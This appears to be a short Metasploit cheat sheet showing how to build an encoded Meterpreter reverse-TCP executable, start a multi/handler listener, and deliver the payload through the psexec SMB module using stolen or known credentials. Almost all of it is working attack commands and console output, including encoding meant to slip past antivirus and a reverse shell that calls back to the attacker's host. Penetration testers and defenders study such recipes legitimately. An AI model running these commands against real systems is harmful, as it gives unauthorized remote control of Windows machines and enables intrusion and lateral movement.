Metasploit: Custom Psexec Executable

psexec_executable-metasploit.txt

## Metasploit: Custom Psexec Executable ##

#The first thing we need to do is generate a custom executable to use with Meterpreter.

$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4445 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 > custom.exe

#Next we need to setup a multi handler to listen for connections.

$ msf > use exploit/multi/handler
$ msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
$  PAYLOAD => windows/meterpreter/reverse_tcp
$  msf exploit(handler) > set LHOST 192.168.0.1
$  LHOST => 192.168.0.1
$  msf exploit(handler) > set LPORT 4445
$  LPORT => 4445
[*] Started reverse handler on 192.168.0.1:4445
[*] Starting the payload handler...

#In another msfconsole session we need to configure the psexec exploit module to use our custom executable.

$ msf > use exploit/windows/smb/psexec
$  msf exploit(psexec) > set RHOST 192.168.0.2
$  RHOST => 192.168.0.2
$  msf exploit(psexec) > set SMBUser user
$  SMBUser => user
$  msf exploit(psexec) > set SMBPass pass
$  SMBPass => pass
$  msf exploit(psexec) > set EXE::Custom /path/to/custom.exe
$  EXE::Custom => /path/to/custom.exe

#Finally, we need to run the exploit. If everything worked then you should see a new meterpreter session open in multi/handler

$ msf exploit(psexec) > exploit